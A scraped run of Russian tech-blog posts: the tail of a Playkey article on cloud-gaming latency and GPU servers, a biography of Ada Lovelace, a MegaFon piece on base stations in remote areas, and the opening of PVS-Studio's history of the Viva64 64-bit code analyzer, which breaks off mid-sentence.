рассчитывать на единицы миллисекунд. Этого достаточно даже для игры в шутеры. Почему пинг в Playkey может оказаться выше играбельного уровня? По нашей статистике, главная проблема — качество сети непосредственно дома у пользователя. Частая проблема “последней мили” — подключение через Wi-Fi. С Playkey мы передаем realtime-video, поэтому должны мгновенно реагировать на “обратную связь” от игрока. С технологической стороны для Playkey гораздо больше сложностей, чем при стандартной передаче видеопотока. Мы не можем допустить задержки в пару минут перед началом просмотра или дозагрузить просевшие части “в процессе”. Буфер видео в Playkey минимальный и исчисляется миллисекундами — как только он переваливает за 20-30 миллисекунд, играть становится некомфортно. Wi-Fi роутер же — это ужасная головная боль там, где недопустима потеря пакетов. Поставить возле роутера чайник — вайфай практически не будет работать. Перемести роутер за стенку — сигнал начнет терять вдвое больше пакетов. Для игрока это означает, что картинка начнет лагать, а пинг — расти. При подключении по кабелю всех этих проблем нет, но, что поделаешь, мы научились работать и с игроками по Wi-Fi. Как? Для устранения лагов при игре через Wi-Fi, мы сделали триггеры адаптивного битрейта, которые собираем постоянно. На основе полученных данных выставляем пользователю максимально возможное качество и битрейт в зависимости от его условий. Ситуация у пользователя может меняться: начиная от того, что кто-то начал использовать сеть параллельно с игрой, или игрок переместиться в соседнюю комнату, и Wi-Fi сигнал улучшился (или наоборот ухудшился?). На каждый шаг нами принимаются ответные действия. Поэтому мы настоятельно рекомендуем пользователям подключаться по проводу, это позволяет нам выставлять лучше качество. Дополнительно, еще перед запуском игры, система собирает статистику по железу пользователя: память, операционная система, процессор. Эти данные позволяют понять, какого качества видеопоток сможет декодировать пользовательский компьютер. Для декодирования потокового видео нужны ресурсы: если мы говорим про Core i7, то он может в realtime и 4K декодировать. А какое-нибудь старое нечто или ноутбуки на Intel Atom практически не способны делать это “на лету”. Приходится ослаблять битрейт, оставлять меньше фишек энкодера — иначе софтверный декодер просто не успевает обрабатывать кадр. Даже тут мы стараемся найти баланс в качестве картинки, которое доступно пользователю в его реалиях. Наша гиперцель — запустить Playkey на 3G/4G сетях, хоть они и заточены под принципиально другие задачи. Сейчас при передаче данных внутри мобильной сети игрок получает высокий пинг, и хоть играть в целом можно, тут нам предстоит еще много работы. Встречаются и проблемы серьезнее — по пути от компьютера до дата центра. Бывает, что трафик идет от Москвы до Санкт Петербурга через Амстердам. Просто потому что оператор на магистральном уровне, либо в конкретном дата центре посчитал, что так будет дешевле. Бороться с этим явлением практически невозможно, кроме как подключившись к площадкам обмена трафика. Чаще всего проблема возникает при работе с разными операторами. Если пермский пользователь подключен например через “ХХ-телеком”, а сервера подключены через “YY-телеком”, то случалось, что трафик шел крюком через Москву т.к. между провайдерами может не оказаться прямого пиринга, благо на текущий момент эта проблема по большей части устранена. Как портируются игры Появление игры на Playkey — это не просто “скачал-поставил”. Это целый путь адаптации каждого проекта под облако. Раньше это занимало месяцы, сегодня мы достигли определенного прогресса: многие движки поддерживаются “сразу”, и игру можно запускать уже в день релиза. В иных случаях приходится подключать техническую команду и начинать настройку. “Ребята, работаем дальше”: Fun Fact #1: одна из главных сложностей при портировании игр — античит защита. Поведение облачного игрового сервиса выглядит как эмулятор, и условный Tom Clancy’s: Rainbow Six Siege , например, не дает нам доступа к онлайн режиму. Все игры используют WinAPI функции, этих функций очень много, некоторые разработчики используют малый функционал, некоторые — расширенный. В своей технологии мы обрабатываем эти вызовы, но их очень много и ведут они себя по-разному. Большинство сценариев мы уже отлично отрабатываем, но бывают какие-то новые штуки. Да, запись файла — это не проблема, но как игра работает с ним дальше? Какие маркеры она на этот файл выставляет? Только для чтения? Закрывает ли она его? Оставила ли она на него ссылку, чтобы потом использовать? Основные сценарии, как то работа с файловой системой, работа с реестром, работа со звуком и видео — мы уже, конечно, отработали. Поэтому часто для запуска новой игры достаточно указать версию Direct X, выбрать аудиобиблиотеку — и все готово. Но бывают и сюрпризы, из-за которых настройка игры в итоге может занять от пары часов до пары месяцев. Как отбираются игры в каталог? Отталкиваемся от цели по-максимуму отбирать горячие новинки, свежие, получившие высокий рейтинг и, безусловно, с высокими техническими требованиями. Высокий приоритет получают и новые игры, которые мы технически знаем, что, вероятно, сможем выпустить в день релиза. Выбор делают и сами пользователи — часто в соцсетях мы открываем голосования, в работу берем победителей по массовому решению. То есть юзеры тут напрямую влияют на библиотеку игр Playkey. Выглядит это примерно так: (а вот, кстати, и наша группа ВК: https://vk.com/playkey_net ) Два важных “но”: мы не берем в работу игры в бете и мы не работаем с тайтлами, которые заточены исключительно на онлайн и имеют сложную античит систему. Какие сервера используются? Огромная сложность Playkey в том, что нам нужны не обычные сервера, а сервера с GPU. Их и в мире немного, а в России так вообще практически нет. Вот как выглядят эти эксклюзивные ребята: Проблема в том, что они редко доступны для аренды. Сервис-провайдеры часто хвалятся, что у них в наличии такие решения есть, но, как правило, их ставят в каталог “чтобы было”. И если будет запрос — там они уже организуют поставку и ценовое предложение. Сформированного спроса на сервера с GPU просто нет. Фактически мы уже сейчас перекрыли тот объем серверных ресурсов с GPU, который был доступен для аренды в России. Fun Fact #2: Основной use case для таких серверов — военная промышленность и сложные математические вычисления, где GPU справляется лучше процессора. Это тоже беда: военным не подходит облачная архитектура — они хотят купить сервера себе. По любой цене! И этим взвинчивают стоимость еще выше. Нам же, наоборот, нужны “облака” и в аренду. И да, лучше дешевле. Да, есть несколько больших компаний, которые предоставляют нужные нам сервера, но тут возникает проблема цены. Они делают универсальное решение для всех отраслей — и в первую очередь для тех, кто работает с профессиональной графикой. Строят замороченную и сложную инфраструктуру, а нам нужна такая архитектура, которая позволила бы попросту сэкономить деньги на хранении игр и уменьшить чек для игроков. Сейчас просто нет массовых задач для серверов с GPU. И это принципиально влияет на вопрос цены. Мы хотим арендной модели, но сервис-провайдеры на текущем этапе вынуждены все финансовые риски закладывать только на нас. Из-за этого нам проще взять сервера в лизинг. И это всё? Конечно, нет! Это только наш первый пост в серии публикаций про облачный гейминг. Теперь, после того как мы разобрали базовую архитектуру сервиса Playkey, мы планируем рассказать в деталях статистику про геймеров в России, про производительность "железа" Playkey (и стоимость сборки аналогичного ПК дома) и многое-многое другое. Так что смело подписывайтесь на наш канал, комментируйте и признавайтесь, — что еще вам интересно было бы о нас узнать? С наступающим Новым годом, Geektimes! Играйте только в лучшие игры.
https://geektimes.ru/company/playkey/blog/284200/
habrahabr
Ада Лавлейс. Первая в мире программа и взгляд в будущее
['ada']
Ада Лавлейс 10 декабря 1815 года на свет появилась Ада Лавлейс, большинству из нас известная как самый первый в мире программист. Так уж получилось, что это звание принадлежит...
Ада Лавлейс 10 декабря 1815 года на свет появилась Ада Лавлейс, большинству из нас известная как самый первый в мире программист. Так уж получилось, что это звание принадлежит представительнице прекрасного пола. Сегодня исполняется двести один год со дня рождения этого человека. И в этом посте я бы хотел немного рассказать о самых интересных моментах из ее жизни, не отделываясь обрывочными фразами, но и не слишком уж углубляясь в детали. Материал можно найти, где угодно, имея под рукой Интернет. Однако мало кто полезет искать его просто ради интереса. Поэтому кому интересно, добро пожаловать под кат. Учась в школе, сидя на уроках литературы, я прекрасно знал, кто такой Джордж Байрон. Мы читали и по желанию заучивали его стихотворения. Спустя время, выбрав себе профессию я узнал о том, кем была загадочная Ада Лавлейс – первая девушка-программист, дочь того самого лорда Джорджа Байрона. Тогда для меня это оказалось удивительным открытием. Я на всю жизнь запомнил, кем была Ада и, как-то совсем незаметно для самого себя, забыл о самом Байроне. Августа Ада Кинг (впоследствие графиня Лавлейс, но об этом чуть позже) – была дочерью английского поэта лорда Джорджа Гордона Байрона и его жены – Анны Изабеллы Байрон. Однако Байрон спустя месяц после рождения своей дочери покинул их, и они больше никогда не виделись. Сам Байрон умер, когда Аде было восемь лет. Сам он еще не раз вспоминал свою дочь в своих стихах. Видно, что Ада сама росла в довольно талантливой семье. Ее мать, Анна Изабель, еще до рождения дочери сильно интересовалась математикой, за что когда-то получила от мужа забавное прозвище – “королева параллелограммов”. Это была действительно необычная семья. Анне после ухода мужа все же удалось воспитать дочь в одиночку и вот что из этого получилось. В двенадцать лет Ада собрала свой летательный аппарат! До этого двенадцатилетняя девочка некоторое время запиралась от матери в комнате и что-то писала. Мать боялась, что она начнет зачитываться стихами отца и пойдет той же дорогой. Однако все это время она чертила. Математическая логика занимала ее больше всего остального. Однажды Ада заболела и три года провела в постели. Но все это время она хотела и продолжала учиться. К ней приходили самые разные доктора и учителя. Одним из них был Август де Морган – известный математик и логик (да-да, закон де Моргана назван в его честь). С тех пор Ада еще больше погрузилась в мир математики. В итоге Ада выросла уникальной девушкой. Она была красива и умна, точно также как и ее мама занималась математикой, а в разговорах на научные темы обходила даже ребят из Кембриджа и Оксфорда. Среди других людей, в основном женского пола, это вызвало скрытую злость и зависть. О ней нередко говорили как о чем-то темном, даже дьявольском. Надо сказать, что Ада и сама в себе чувствовала необычные силы (забавно, но на русском ее имя звучит и правда немного дьявольски). Но в этом нет ничего необычного, так как девушка-математик в высшем английском обществе того времени – со стороны это действительно выглядело странно. А многие мужчины меж тем были от нее без ума. Математика математикой, но как же так вышло, что помнят о ней в первую очередь именно программисты? Одной из самых судьбоносных встреч Ады Лавлейс стала встреча с Чарльзом Бэббиджем – изобретателем первой аналитической вычислительной машины. В то время, во Франции, куда и прибыл Бэббидж, был развернут крупномасштабный проект по созданию таблиц значений логарифмов и тригонометрических функций. Бэббидж стал мечтать о том, чтобы автоматизировать этот труд, заодно исключив возможные человеческие ошибки, так как в то время именно люди вручную занимались созданием таких таблиц. Так Бэббидж задумался о построении своей разностной машины (вычисление многочлена с помощью разностного метода). Им было создано огромное количество чертежей, а сам прототип закончен в 1832 году, тот самый, который Ада Лавлейс увидит спустя год. В 1835 году Ада выйдет замуж за очень достойного человека – барона Уильяма Кинга, который впоследствии был удостоен титула графа, а сама Ада стала графиней Лавлейс. Спустя четыре года у них уже было трое детей – два сына и дочь. Сыновьям Ада дала имена в честь отца – одного назвали Ральфом Гордоном, а другого – Байроном. А как же с той самой первой в мире программой? И какова судьба машины Бэббиджа? В 1842 году итальянский ученый Луис Манебреа напишет книгу о машине Бэббиджа. Ада по просьбе Бэббиджа займется ее переводом. Во время перевода самой книги она сделала огромное количество замечаний, видя в этой машине кажется больше, чем сам Бэббидж. Вот ее слова: «Суть и предназначение машины изменятся от того, какую информацию мы в нее вложим. Машина сможет писать музыку, рисовать картины и покажет науке такие пути, которые мы никогда и нигде не видели» Алан Тьюринг впоследствие читал ее записи, введя в свои работы термин возражение леди Лавлейс относительно способности машин мыслить. В то же самое время, при описании машины Бэббиджа именно Ада ввела в обиход такие компьютерные термины как цикл и ячейка. Она также составил набор операций для вычисления чисел Бернулли. Именно это по сути и стало самой первой компьютерной программой. Бэббидж так и не построил свою машину, она была собрана уже после его смерти и сейчас хранится в Музее науки в Лондоне. Сама Ада Лавлейс умерла 27 ноября 1852 года всего в возрасте 36 лет. Ровно столько, сколько прожил ее отец. Ее похоронили в фамильном склепе вместе с отцом, которого она так и не узнала. В честь Ады Лавлейс был назван разработанный в 1980-х годах Министерством Обороны США язык программирования Ада. P.S. Наверное, тем людям, у которых фраза “Первым программистом была девушка” вызывает недовольство или улыбку, стоит хотя бы раз поинтересоваться биографией этого человека. О таких людях, как Ада Лавлейс или Алан Тьюринг и о многих других стоит помнить. А для кого-то эти истории еще один повод понять, что в мире нет ничего невозможного. Спасибо тем, кто прочел эту статью. Делитесь своими мнениями, комментариями или замечаниями).
https://habrahabr.ru/post/318752/
habrahabr
МегаФон в труднодоступных местах
['мегафон', 'связь', 'связь в удалённой местности', 'БС', 'базовые станции', 'оператор связи']
В стремлении развивать мобильную связь компания «Мегафон» не останавливается на городах. Мы участвуем в государственной программе по интернетизации малых населенных пунктов, устанавливаем базовые...
В стремлении развивать мобильную связь компания «Мегафон» не останавливается на городах. Мы участвуем в государственной программе по интернетизации малых населенных пунктов, устанавливаем базовые станции в тундре, горах и даже шахтах. На днях мы объявили об установке базовой станции в деревне Половинка Чебаркульского района Челябинской области области, где проживает всего 351 человек. До этого в этом районе был очень слабый сигнал голосовой мобильной связи, люди даже порой не могли дозвониться до врачей и спасателей.  Что уж говорить о мобильном интернете, его не было совсем. Основной проблемой для прохождения сигнала и установки базовых станций был прежде всего сложный рельеф местности и густой лесной массив. Теперь же местным жителям доступен 3G интернет и скорости до 10 Мбит/с. Улучшения связи почувствуют и жители соседней деревни Крыжановка. Подобное стало возможным благодаря участию компании «Мегафон» в государственной программе по интернетизации малых населенных пунктов численностью от 250 до 500 человек, а также при поддержке правительства Челябинской области. Оптико-волоконный канал передачи данных до базовой станции обеспечила компания «Ростелеком», которая также является участником программы. «Жители Половинки получили отличный подарок к Новому году. Теперь в праздничную ночь быстрый интернет от «Мегафона» сделает их по-настоящему рядом со своими близкими и друзьями, как бы далеко от них они не находились. Улучшая связь, улучшаем качество жизни простых людей – это и есть в нашем понимании ответственный подход в бизнесе» , — отметил директор Челябинского отделения компании «Мегафон» Игорь Остатюк. За Полярным кругом на Кольском полуострове находится одна из самых необычных базовых станций «Мегафона». Она расположена в тундре и покрывает участок, где сходятся дороги трёх направлений: Мурманск — Териберка — Туманный. Населенных пунктов в этом районе нет, но связь нужна. В тундре не редки случаи полного заметания дороги зимой. Застряв в снежных заносах и оставшись без возможности дозвониться до службы спасения, человек может легко погибнуть. Поэтому было принято решение установить в этом районе базовую станцию второго поколения с планируемой установкой на ней 3G-оборудование. Охват такой станции составляет около 30 км. При установке базовой станции у нас возникла проблема. Совсем рядом проходит линия электропередач, но для подключения пришлось бы построить понижающую подстанцию. Напряжение в линии составляет более 100 тысяч вольт. Постройка подстанции — дорогой и технологически сложный проект. Но тут на помощь пришли природные условия Кольского полуострова с его вечными ветрами. Для электроснабжения станции было решено использовать ветряной генератор. В ветрогенераторе используется турбина мощностью 5 кВт. Для выработки энергии, достаточной для работы базовой станции, хватает скорости ветра от 10 метров в секунду. В этом районе это совершенно обычная погода. Если случается штиль, то станция дополнительно оснащена дизельным генератором, который запускается автоматически. За всеми технологическими процессами как внутри станции и ветряного генератора, так и снаружи специалисты компании «Мегафон» следят удаленно. Всего в Мурманской области четыре базовых станций «Мегафона» используют ветрогенераторы для своей работы. На побережье Баренцева моря скорости мобильного доступа достигают в среднем 10-12 Мбит/с. Этого достаточно для комфортной работы и использования большинства интернет-сервисов. «Предмет особой гордости «МегаФона» — объекты связи, расположенные повсеместно по побережью Баренцева моря. Нашими услугами пользуется Северный флот РФ. Мы предоставляем не только связь в общепринятом понимании, но и защищенные каналы связи. Широкая зона покрытия «МегаФона», особенно в прибрежных районах, уже по достоинству оценена армией, рыбаками и всеми теми, кто связан с морем», — директор Мурманского отделения компании «МегаФон» Владимир Чуйко. Там же, на Кольском полуострове, расположены Хибины — старейший горный массив. Хибины известны своей флорой, большая часть которой занесена в Красные книги, и крупнейшими месторождениями апатит-нефелиновых руд и, конечно, рудниками по их добыче. А ещё здесь работают самая «глубокая» и самая «высокая» базовые станции «Мегафона» на Северо-Западе России. «́Глубокая» станция расположена внутри Расвумчоррского рудника на глубине 500 метров. Точнее, по бумагам она находится на отметке 440 метров над уровнем моря, но если отсчитывать глубину от вершины горы, то она составит как раз 500 метров. Всего Расвумчоррском руднике для нужд АО «Апатит» размещены две базовые станции 2G. Они обеспечивают «сигнальную связь», давая работникам возможность поддерживать коммуникацию друг с другом и с диспетчером. Связь с поверхностью происходит по медному кабелю. Самая «высокая» базовая станция «Мегафона» на Северо-Западе находится на плато Расвумчорр в семи километрах к юго-востоку от города Кировска. Она установлена на высоте 980 метров над уровнем моря по заказу АО «Апатит». Такое местоположение помогает увеличить зону покрытия и обеспечить надежной связью удаленные площадки нашего корпоративного клиента. Так как предприятие находится за 200 км от полярного круга в горной местности, а её работа всегда осложняется климатическими условиями и буранами, которые зачастую делают труднодоступными удаленные объекты предприятия, надежная связь является крайне важной для нормального функционирования объекта. В том числе мониторинга движения транспортных средств. Для того, чтобы можно было оперативно развернуть временную мобильную связь в горных районах Хибин, «МегаФон» предоставил шахтёрам «передвижную базовую станцию». С её помощью можно обеспечить весь спектр услуг мобильной связи стандарта 2G, 3G, 4G в любом месте, в том числе в труднодоступных районах. Весь комплекс станции, включающий в себя оборудование 2G, 3G, 4G, радиорелейную и спутниковую связь, размещается на базе транспортного средства и приспособлен к автономной работе в полевых условиях без подключения к внешним источникам энергопитания. Станция способна работать до 7 суток без подзарядки и обеспечивать радиус действия сигнала до 30 км. Её мощности хватит, чтобы обслуживать до 6 тысяч абонентов, а мобильный интернет легко держит скорость до 300 Мбит/с.   «МегаФон» каждый год работает над расширением и улучшением покрытия своей сети, инвестируя в инфраструктуру и развитие. Мы строим мобильные станции даже в таких местах, где живет три-четыре человека. Но и им нужна связь – это требование времени. И мы даем им эту связь.
https://habrahabr.ru/company/megafon/blog/318746/
habrahabr
Как 10 лет назад начинался проект PVS-Studio
['разработка приложений', 'разработка программного обеспечения', 'devops', 'pvs-studio', '10 лет', 'viva64', 'история создания', 'история стартапов', 'история старта', 'анализ кода', 'информационная безопасность', 'статический анализ кода', 'статический анализатор кода']
Десять лет назад мы создали простенькую утилиту под названием Viva64, предназначенную для выявления некоторых проблем в 64-битном коде. Так было заложено начало статического анализатора кода...
Десять лет назад мы создали простенькую утилиту под названием Viva64, предназначенную для выявления некоторых проблем в 64-битном коде. Так было заложено начало статического анализатора кода PVS-Studio. Хотя с того момента прошло 10 лет, что-то более-менее у нас, как у компании, стало получаться только несколько лет назад. Эта статья — не история успеха, так как мы считаем, что всё интересное только начинается. Однако, 10 лет — это повод подвести промежуточные итоги и рассказать нашим читателям как все начиналось, какие нас ждали ошибки, и что на данный момент у нас получилось. Местами я, возможно, буду не совсем хронологически точен при описании событий. Моя память не идеальна, а 10 лет — это длительный промежуток времени. Желаю всем приятного чтения. Предыстория Я (Андрей Карпов) и Евгений Рыжков работали в маленькой тульской компании, занимающейся созданием пакетов численного моделирования и визуализации данных. Работа была интересная и удавалось прикоснуться к передовым по тем временам технологиям. Например, работая с задачами по визуализации данных, мы экспериментировали с 3D очками, работающими по принципу поочередного закрытия глаз. Картинки выводились на ЭЛТ монитор, который показывал изображение то для левого, то для правого глаза. Думаю, мало кто видел такую древность: очки, подключенные к компьютеру по проводу, и ЭЛТ монитор, работающий в чересстрочном режиме (100 кадров в секунду), чтобы на каждый глаз приходилось хотя бы по 50 кадров. Выглядело, на самом деле, всё это ужасно, и моментально начинали болеть глаза, так что ничего удивительного, что широко эта технология не прижилась. Ещё, например, мы занимались самостоятельным изготовлением бюджетного кластера на основании обыкновенных материнских плат для компьютера. Использовались платы с двумя физическими AMD процессорами. Это сейчас никого не удивишь процессором с 8 ядрами. Тогда же в тульском магазине материнская плата с двумя ядрами — это было чудо чудное, диво дивное. Мы объединили 4 такие платы и получили 8-ядерный мини-кластер, на котором вели различные расчёты. Я непосредственно участвовал в пайке этого устройства: Рисунок 1. Собранный из подручных материалов мини-кластер. Характеристики: 8 процессоров, 16 гигабайт памяти. Получилось не совсем хорошо, так как не удалось как следует решить вопрос вентиляции и пришлось, пожертвовав красотой, снять задние крышки. Впрочем, со своими задачами кластер справлялся. А ещё мы столкнулись с первыми 64-битными компьютерами, доступными для обыкновенных пользователей. Это были машины с процессорами Opteron и огромным, как мне тогда казалось, объемом памяти в 4 гигабайта. Вот с этих-то машин всё и началось. В 2005 году вышла Visual Studio 2005, в которой стало возможным разрабатывать 64-битные программы для 64-битной архитектуры (в те времена она называлась AMD64). Помню ещё я ездил в Москву на конференцию компании Microsoft, где демонстрировали как теперь легко и просто можно перекомпилировать код под 64-битный процессор. В общем, 64-битность — это был новый важный тренд в развитии компьютеров. Конечно, и до этого были 64-битные микропроцессоры. Например, можно вспомнить тот же Itanium . Но именно появление AMD64 оказало существенное воздействие на IT-индустрию: появились 64-битные процессоры, доступные рядовому пользователю, а прикладные Windows-программисты получили возможность писать для этих процессоров программы в привычной среде разработки Visual C++. В задачах визуализации и численного моделирования большой объём памяти крайне важен. Поэтому, сразу с выходом Visual Studio 2005, мы начали работы по созданию 64-битных версий приложений. Неудивительно, что мы оказались одними из первопроходцев, адаптирующих свой прикладной код к 64-битным процессорам и, в результате, наступившими на множество новых граблей. Например, выяснилось, что используемые для дистрибуции программ аппаратные ключи защиты ещё не совсем готовы к 64-битности. Не помню, что именно было не так, но пришлось повозиться с новым вариантом защиты кода. Ещё были какие-то нюансы с программой для создания дистрибутивов. Но всё это — мелочи. Самое интересное ждало нас дальше. Компания Microsoft не обманула, нам действительно достаточно быстро удалось перекомпилировать свои приложения в режиме x64. На это ушло около 3-х недель. И как нам тогда казалось, мы получили 64-битный дистрибутив наших приложений. Ха! Вот только программы работали неправильно. Причем в их неправильной работе была какая-то подлость. Программы успешно проходили все внутренние тесты, корректно работали на тестовых данных. Но когда мы хотели воспользоваться всей мощью 64-битного приложения, начинались странные непонятные ошибки. Программа начинала глючить, когда выделяла более 10 гигабайт памяти для обработки больших наборов входных данных. Рисунок 2. У меня не сохранилось картинок, демонстрирующих ошибки визуализации в 64-битном приложении. Я не мог предположить, что через много лет они мне понадобятся. Но эта картинка очень похожа на результат ошибок, которые я наблюдал. Неожиданно могла отрисоваться только часть объекта. Сейчас-то я знаю все те причины, которые приводили к такому странному поведению программ. Где-то указатель превращали в int , а потом обратно в указатель. Если указатель ссылался на объект в младших 4 гигабайтах памяти, то всё было хорошо. А вот если объект создавался за границей в 4 гигабайта, то проблемы были неизбежны. Были ошибки и в вычислениях вида: unsigned int X, Y, Z; Uint64 Q = X * Y * Z; Хотя результат является 64-битной переменной, это не помогает. Переполнение возникает при перемножении 32-битных переменных. Естественно, есть и множество других способов отстрелить себе ногу. Подробнее со всеми этими бедами можно познакомиться вот здесь: " Коллекция примеров 64-битных ошибок в реальных программах ". Тогда же, в 2005 году, происходящее с нашими программами выглядело непонятной магией. И самое главное, в тот момент мы не понимали, как нам найти и устранить дефекты. Все наши способы неожиданно нам отказали. Повторю, что юнит-тесты работают корректно и ничего не выявляют. На маленьких тестовых данных тоже всё хорошо. Отлаживаться на больших объемах данных практически невозможно. Во-первых, это очень медленно. Если релиз программы должен работать полчаса, чтобы начали проявлять себя ошибки, то отладочный вариант программы работает долгие часы. Во-вторых, непонятно, а что, собственно, в отладчике смотреть. Не изучать же миллиарды итераций цикла, чтобы найти, когда что-то начинает идти не так. Программисты всегда при отладке стараются использовать минимальный набор данных для воспроизведения ошибки. А здесь на маленьких наборах всё хорошо. Мы обратились к популярной тогда программе BoundsChecker, которая до этого не раз нам помогала. Вот только оказалось, что она ещё не умеет работать с 64-битными приложениями. Впрочем, если бы и работала, не думаю, что нам это сильно помогло. Скорость программы при использовании BoundsChecker замедляется в десятки раз. Думаю, для наших случаев это вылилось бы в дни ожидания. Мы поняли, что зашли тупик: знаем, что в программе есть ошибки, но не знаем, как их искать. Наша команда начала изучать сложившуюся ситуацию подробнее. Проводили эксперименты, читали интернет. Постепенно стало проясняться, с чем мы столкнулись. Мы начали понимать, какие ошибки живут в наших программах, вот только легче от этого не стало. Допустим, мы подозреваем, что в некоторых ошибках виноваты переполнения в арифметических операциях. Ну и что дальше? Как их найти, эти места? От безысходности мы начали искать новые пути. Рассматривался вариант заменить все целочисленные типы на специальные классы, такие как SafeInt. Это позволило бы, по крайней мере, легко находить целочисленные переполнения. Однако, оказалось, что сделать это для существующих приложений весьма непросто. Потом мы познакомились с некоторыми инструментами статического анализа кода и даже купили Gimpel PC-Lint . Но этот анализатор почти ничем нам не помог. Он не был ориентирован на поиск 64-битных ошибок. И тут мы осознали последствия того, что мы первопроходцы. Мы столкнулись с 64-битными ошибками, для поиска которых мир ещё не предложил никаких решений. Как же мы вышли из положения? Мы решили прочитать код. Конечно, не весь. Мы настроили PC-Lint так, чтобы он выдавал предупреждения на все явные приведения типов, на неявное расширение int в 64-битные типы и так далее. Конечно, получилось невероятное количество бесполезных сообщений, но это всё равно лучше, чем просто читать весь код от начала до конца. Мы изучили потенциально опасные места, на которые, после специальной настройки, нам указывал PC-Lint. Полностью прочитали наиболее важные модули и фукнции. И вот, по прошествии несколько месяцев получили, наконец, стабильную версию 64-битных приложений. Как вы, возможно, догадались, задачей портирования на 64-битную систему занимались два человека: я и Евгений Рыжков. Выводы, которые мы тогда сделали: с переходом на 64-битные системы люди будут сталкиваться в своём коде с 64-битными ошибками; эти ошибки очень сложно искать; нет никаких инструментов, помогающих находить такие ошибки. Приблизительно в это же время происходило другое судьбоносное событие. Евгений Рыжков увлекся чтением книг, посвящённых стартапам и новомодному направлению ISV (Independent software vendor). Впрочем, слова «стартап» тогда, кажется, ещё не было. Во всяком случае в том смысле, в котором есть сейчас. 11 лет назад индустрия телефонов ещё не была развита, не существовало App Store и тому подобного. Если бы существовало, Евгений, возможно, занялся бы созданием игр для телефонов и планшетов. Тогда же он был ограничен обыкновенным компьютером. Он попробовал сделать приложение — раскраску для детей, и попробовал продавать. В целом, получилось всё реализовать и даже сделать несколько продаж, но, конечно, о каком-то успехе и доходах с этого начинания говорить не приходилось. Он начал искать новое применение своих сил. У меня тоже существовала предпринимательская жилка, и мне хотелось попробовать создать что-то своё. Однако, на тот момент все эти мысли были нечёткими и не находили какого-то реального воплощения. И тут Евгений предложил подумать о создании чего-то этакого, что покорит мир и сделает нас богатыми и известными. В общем заразил меня классической мечтой стартапера. И мы начали думать. Viva64 версии 1.0 Итак, имеются: два человека, которые хотят организовать какой-то стартап; эти два человека знакомы с существованием проблемы поиска ошибок в 64-битных программах на языке С++. Казалось бы, ну и что тут думать? Надо делать и продавать инструмент для поиска 64-битных ошибок. Однако, мы достаточно долго шли к этой идее. Нам казалось, что это сложная, непонятная задача, которую никто не знает как решать, раз ещё нет инструментария. Вначале мы перебирали какие-то простые и понятные идеи. Сайты делать не хотелось. Хотелось создавать именно законченный программный продукт. Но вот что предложить миру – мы долго не понимали. Хотелось выбрать направление, в котором может быть реальный спрос, а не только абстрактная красивая идея. Через некоторое время мы всё-таки начали размышлять над инструментом поиска 64-битных ошибок в программах на языке C и C++. Для начала мы прикидывали, что именно это должно быть. Вначале мы думали над каким-то динамическим анализатором, типа BoundsChecker. Однако, это было слишком сложно, плюс было непонятно, как сделать поиск ошибок некоторых разновидностей. Постепенно нам стало понятно, что это должен быть статический анализатор кода. Т.е. программа, которая указывает программистам на участки кода, которые надо проверить. Следовало создать инструмент типа PC-Lint или Parasoft C++test, но только ориентированный на поиск специфичных типов ошибок. Важным вопросом было, посильно ли вообще нам сделать такой инструмент, все-таки речь шла о разборе С++ кода. Пришлось изучать и этот вопрос. Никакого LLVM в те времена не существовало, поэтому мы рассматривали вариант взять за основу компилятор GCC или какую-то из открытых бесплатных библиотек. Понятно, что ещё были платные библиотеки разбора C++ кода, но мы их даже не рассматривали. GCC нам показался слишком сложным и тяжеловесным, плюс было непонятно, можно ли на его основе как-то создать закрытое приложение. Открытое делать не хотелось, так как непонятно, как на нем заработать. В итоге выбор пал на малоизвестную библиотеку OpenC++. К этому моменту библиотека была заброшена, но нас это не остановило, тем более что она показалась весьма простой, и мы очень быстро смогли написать с её помощью простейшую пробную диагностику. И вот мы определились и решились, что будем делать инструмент поиска 64-битных ошибок в C/C++ коде. Фактически, это будет классический статический анализатор кода, но в то время мы старались не использовать эти слова. Нам казалось, что это только собьет с толку людей, которые будут искать в интернете «инструмент для поиска 64-битных ошибок». Имея опыт общения с Gimpel PC-Lint, мы сразу решили, что будем делать инструмент как плагин к Visual Studio. В те времена, чтобы использовать PC-Lint из Visual Studio, нужно было сплясать с бубном. Я даже написал потом небольшую заметку на эту тему, которая, кстати, пользовалась популярностью: Установка PC-Lint и его использование в Visual Studio 2005 . В общем, мы считали, что подобная интеграция никуда не годится и надо сразу предоставить пользователям удобный интерфейс. Т.е. человек должен установить инструмент и сразу иметь возможность приступить к проверке проекта. Именно этому принципу наша команда следует до сих пор и считает его очень важным. В то время мы представляли себе Viva64 как простенькую утилиту, которую будем продавать всего за $200, но массово. Мы думали, что на этот инструмент должен резко появиться спрос в связи с глобальным переписыванием программ для 64-битных процессоров. План был такой: делаем простой инструмент, на который скоро будет большой спрос, продаём его года 3-4. Затем, заработав денег на этом гениальном предвидении, займемся каким-то другим проектом. В общем юношеские фантазии о том, какую крутую идею мы придумали и как быстро на ней поднимемся. Даже вот такой график нарисовали о том, как, на наш взгляд, должен выглядеть спрос: Рисунок 3. В 2006 году Евгений начертил вот такой график предполагаемой востребованности решения для проверки С++ кода на совместимость с платформой AMD64. Предполагалось, что в 2010 спрос пойдёт на убыль и, вдобавок, Microsoft выпустит какое-то стандартное решение, которое вытеснит анализатор Viva64 с рынка. Однако, за 2-3 года мы надеялись снять «сливки» и накопить денег для будущих начинаний. Воодушевив себя мечтами об успехе, мы приступили к программированию, созданию дистрибутива и первой версии сайта. Делалось всё это по вечерам, так как в дневное время мы по-прежнему трудились в офисе на работе. Путь от идеи до первой версии занял около года. И вот состоялось знаковое событие: 31 декабря 2006 года мы выложили первый публичный релиз Viva64 версии 1.00 в интернете. Помню Евгений говорил мне, что выложить надо обязательно до нового года, чтобы в истории версий фигурировал 2006 год. Пользователям будет казаться, что инструмент существует уже хотя-бы год, и это будет придавать ему солидности. Сейчас, по прошествии длинного пути в 10 лет, все это выглядит наивным, но тогда всё это казалось очень важным. Бюджет создания первой версии анализатора и сайта составил 43200 рублей. Естественно, наше время и силы здесь не учтены. Это были дополнительные расходы. Чтобы легче было понять размер суммы, пересчитаем по курсу доллара тех времен и получим $1710. Можно сказать, что мы все сделали практически без трат. Начиная с 2007 года, мы начали пробовать продавать наш инструмент, постепенно его усовершенствуя. Работы прибавилось ещё больше. Помимо программирования на прежней работе и программирования анализатора, добавилась работа по продвижению Viva64 в среде программистов. Я и Евгений начали учиться писать статьи, общаться на форумах, пробовать какие-то варианты платной рекламы. Всё это очень быстро истощало наши моральные и физические силы. Вдобавок, на 